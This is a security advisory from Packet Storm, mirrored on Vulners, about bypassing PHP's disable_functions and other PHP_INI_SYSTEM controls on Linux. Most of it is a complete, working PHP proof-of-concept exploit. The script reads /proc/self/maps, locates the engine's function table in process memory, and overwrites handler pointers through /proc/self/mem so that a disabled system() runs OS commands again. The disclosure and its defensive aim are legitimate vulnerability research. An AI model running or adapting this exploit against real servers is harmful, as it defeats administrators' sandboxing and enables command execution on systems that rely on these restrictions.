Lucene search
+L

PHP PHP_INI_SYSTEM Ineffective Controls

🗓️ 21 May 2019 00:00:00Reported by Imre RadType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 194 Views

PHP_INI_SYSTEM Controls Bypassed on Linux Platfor

Code
`"PHP is a popular general-purpose scripting language that is  
especially suited to web development."  
  
PHP has deployed several features over the years that are prone to  
incorrect architectural decisions (safe mode  
https://www.php.net/manual/en/features.safe-mode.php or open_basedir  
http://news.php.net/php.internals/105606), to have unexpected security  
implications (register globals  
https://www.php.net/manual/en/security.globals.php), or simply  
violated architectural patterns and ended up in a mess (magic quotes  
gpc - https://www.php.net/manual/en/security.magicquotes.php).  
  
This advisory is about to expand this list: security controls  
configured via php.ini directives at the PHP_INI_SYSTEM level are  
ineffective as they could be bypassed by malicious scripts via writing  
their own process memory on the Linux platform.  
As an example, a threat actor could exploit this flaw to execute PHP  
functions that have been disabled via the disable_functions directive.  
It is quite common to disable the exec family of PHP functions aiming  
to prevent OS command execution in PHP scripts. This weakness enables  
executing OS commands in restricted configurations.  
  
The attack has been reported to the PHP maintainers  
(https://bugs.php.net/bug.php?id=78006) along with a proof of concept  
code (https://github.com/irsl/php-bypass-disable-functions) and the  
recommendation to introduce a new security measure via the fopen  
wrappers to prevent tampering with /proc/self/mem. The issue was  
acknowledged but the proposal was rejected saying the attack could be  
mounted via PHP extensions as well, and this shall be addressed at the  
operating system level instead.  
  
At this point, I decided to publish this advisory, so that system  
administrators who rely on php.ini settings as their primary/only line  
of defense shall revisit their configuration and follow another  
approaches to secure their applications.  
  
  
  
------  
proof of concept  
  
php-bypass-disable-functions  
  
Demo project how to bypass the disable_functions security control of PHP on Linux  
  
Tested on PHP 7.3.5, x86_64 Linux  
how to use  
  
regularuser@7981d86dd9aa:/$ ./php-7.3.5-vanilla/sapi/cli/php -d 'disable_functions=system' disfunpoc.php  
  
Warning: system() has been disabled for security reasons in /repo-shared/disabled_functions/disfunpoc.php on line 2  
uid=1000(regularuser) gid=1000(regularuser) groups=1000(regularuser)  
  
  
  
disfunpoc.php:  
  
<?php  
system("id");  
  
selfpatch();  
  
system("id");  
  
  
function selfpatch(){  
$maps = read_proc_maps();  
$cg = read_compiler_globals($maps);  
$funs = read_function_table($cg);  
  
$fn_passthru = $funs["passthru"] or die("no passthru?");  
$fn_exec = $funs["exec"] or die("no exec?");  
$fn_system = $funs["system"] or die("no system?");  
  
/*  
the functions above are defined right after each other, their zif_handler is allocated on the heap  
subsequently. The difference of their addresses on 64 bit architectures is:  
--enable-debug builds: 43 bytes  
normal builds: 16 bytes  
Anyway, lets calculate the correct number properly by comparing htmlspecialchars and htmlspecialchars_decode:  
*/  
$fn_htmlspecialchars = $funs["htmlspecialchars"] or die("no htmlspecialchars?");  
$fn_htmlspecialchars_decode = $funs["htmlspecialchars_decode"] or die("no htmlspecialchars_decode?");  
$zif_diff = $fn_htmlspecialchars_decode["zif_handler_addr"]-$fn_htmlspecialchars["zif_handler_addr"];  
debug("zip_diff is: ".$zif_diff);  
  
$real_zif_system_addr = $fn_exec["zif_handler_addr"] + $zif_diff;  
$real_zif_system_addr_bin = pack("Q", $real_zif_system_addr);  
  
$fd = fopen("/proc/self/mem", "r+b") or die("couldnt open memory for reading and writing");  
if(fseek($fd, $fn_system["internal_func_addr"]+32)) die("Cannot access zend_internal_function of system");  
  
// we are at num_args.  
if(4 != fwrite($fd, $fn_passthru["num_args_bin"])) die("patching num args failed");  
  
fread($fd, 4); // skipping required_num_args  
  
if(8 != fwrite($fd, $fn_passthru["arg_info_addr_bin"])) die("patching arg info failed");  
  
if(8 != fwrite($fd, $real_zif_system_addr_bin)) die("patching zif_handler failed");  
  
fclose($fd);  
}  
  
  
function read_zend_string($fd, $addr) {  
if(fseek($fd, $addr+16)) die("Cannot access function name at $i");  
$b = fread($fd, 8);  
$lena = unpack("Q", $b);  
return fread($fd, $lena[1]);  
}  
  
function read_function_from_bucket($fd, $i) {  
  
$re = Array();  
  
if(fseek($fd, $i)) die("Cannot access bucket at $i");  
$b = fread($fd, 8);  
$na = unpack("Q", $b);  
$re["internal_func_addr"] = $na[1];  
$re["internal_func_addr_hex"] = dechex($na[1]);  
  
if(fseek($fd, $re["internal_func_addr"]+4)) die("Cannot access function name at $i");  
$b = fread($fd, 4);  
$na = unpack("L", $b);  
$re["fn_flags"] = $na[1];  
  
$b = fread($fd, 8);  
$na = unpack("Q", $b);  
$re["function_name_addr"] = $na[1];  
$re["function_name_addr_hex"] = dechex($na[1]);  
  
fread($fd, 16); // skipping zend_class_entry and zend_function ptrs  
  
$b = fread($fd, 4);  
$na = unpack("L", $b);  
$re["num_args_bin"] = $b;  
$re["num_args"] = $na[1];  
  
fread($fd, 4); // skipping required_num_args  
  
$b = fread($fd, 8);  
$na = unpack("Q", $b);  
$re["arg_info_addr_bin"] = $b;  
$re["arg_info_addr"] = $na[1];  
$re["arg_info_addr_hex"] = dechex($na[1]);  
  
$b = fread($fd, 8);  
$na = unpack("Q", $b);  
$re["zif_handler_addr"] = $na[1];  
$re["zif_handler_addr_hex"] = dechex($na[1]);  
  
$re["func_name"] = read_zend_string($fd, $re["function_name_addr"]);  
  
debug(print_r($re, true));  
  
// sleep(1); exit;  
  
return $re;  
}  
  
function read_function_table($cg) {  
  
$re = Array();  
$fd = fopen("/proc/self/mem", "rb") or die("couldnt open memory for reading");  
  
/*  
(gdb) p (void*) &(compiler_globals->function_table->nNumUsed) - (void*) &(compiler_globals->function_table->gc)  
$6 = 24  
*/  
$ardata_pos = $cg["function_table_address"]+16;  
  
if(fseek($fd, $ardata_pos)) die("Cannot access the function HashTable");  
$b = fread($fd, 8);  
$nnum = unpack("Q", $b);  
  
$arDataBase = $nnum[1];  
  
$b = fread($fd, 8);  
$nnum = unpack("L*", $b);  
  
$nNumUsed = $nnum[1];  
$nNumOfElements = $nnum[2];  
  
debug("Number of functions: $nNumUsed/$nNumOfElements");  
$addr = $arDataBase;  
for($i = 0; $i < $nNumUsed; $i++) {  
$fun = read_function_from_bucket($fd, $addr);  
$re[$fun["func_name"]] = $fun;  
/*  
(gdb) p (void*)&(compiler_globals->function_table->arData[1]) - (void*)&(compiler_globals->function_table->arData[0])  
$10 = 32  
*/  
$addr += 32;  
}  
  
fclose($fd);  
  
return $re;  
}  
  
function find_compiler_globals_at($fd, $i) {  
if(fseek($fd, $i)) die("couldnt access memory at: $i\n");  
$b = fread($fd, 16);  
$up = unpack("L*", $b);  
// print_r($up); //exit;  
if(($up[1] == 12) && ($up[2] == 0) && ($up[3] == 16) && ($up[4] == 0)) {  
debug(sprintf("Compiler global struct found at: %d (%s)", $i, dechex($i)));  
return $i;  
}  
return 0;  
}  
  
// Function based on some dummy heuristics. Could be improved to be more robust/reliable.  
function read_compiler_globals($maps){  
$fd = fopen("/proc/self/mem", "rb") or die("couldnt open memory for reading");  
  
$addr = 0;  
foreach($maps as $map) {  
debug("reading memory: ".print_r($map, true));  
$i = $map["mem_region_begin"];  
  
while($i + 16 <= $map["mem_region_end"]) {  
if($addr = find_compiler_globals_at($fd, $i)) {  
break;  
}  
$i+= 8;  
}  
  
if($addr) break;  
}  
  
if(!$addr) die("Couldnt find compiler globals");  
  
/*  
(gdb) p &(compiler_globals->function_table)  
$4 = (HashTable **) 0x7fedf14d4d78 <compiler_globals+56>  
*/  
if(fseek($fd, $addr+56)) die("couldnt access memory at: $i\n");  
$b = fread($fd, 8);  
$ft = unpack("Q", $b)[1];  
  
$re = Array(  
"compiler_global_address" => $addr,  
"compiler_global_address_hex" => dechex($addr),  
"function_table_address" => $ft,  
"function_table_address_hex" => dechex($ft),  
);  
  
fclose($fd);  
  
debug(print_r($re, true));  
  
return $re;  
}  
  
function read_proc_maps(){  
$maps_str = file_get_contents("/proc/self/maps") or die("Cant read proc maps");  
debug($maps_str);  
$re = Array();  
#  
preg_match_all('/([0-9a-f]+)-([0-9a-f]+) ([rwxp-]+) [0-9a-f]+ \d+:\d+ \d+(.*)/', $maps_str, $matches);  
# print_r($matches);  
$php_seen = 0;  
for($i = 0; $i < count($matches[0]); $i++) {  
$a = Array(  
"executable" => trim($matches[4][$i]),  
"perms" => $matches[3][$i],  
"mem_region_begin_hex"=> $matches[1][$i],  
"mem_region_end_hex"=> $matches[2][$i],  
"mem_region_begin"=> hexdec($matches[1][$i]),  
"mem_region_end"=> hexdec($matches[2][$i]),  
);  
// echo "$executable: $perms\n";  
if((endsWith($a["executable"], "/php"))&&($a["perms"] == "r-xp")) {  
$php_seen = 1;  
}  
  
if($a["executable"] == "[heap]") {  
array_push($re, $a);  
}  
elseif($a["perms"] == "rw-p") {  
if((endsWith($a["executable"], "/php")||(($a["executable"] == "") && $php_seen)))  
array_push($re, $a);  
}  
}  
if(!count($re)) die("Couldnt find any interesting memory regions");  
  
debug(print_r($re, true));  
return $re;  
}  
  
  
function endsWith($haystack, $needle) {  
return substr_compare($haystack, $needle, -strlen($needle)) === 0;  
}  
  
function debug($m) {  
return;  
echo "$m\n";  
}  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 May 2019 00:00Current
0.4Low risk
Vulners AI Score0.4
194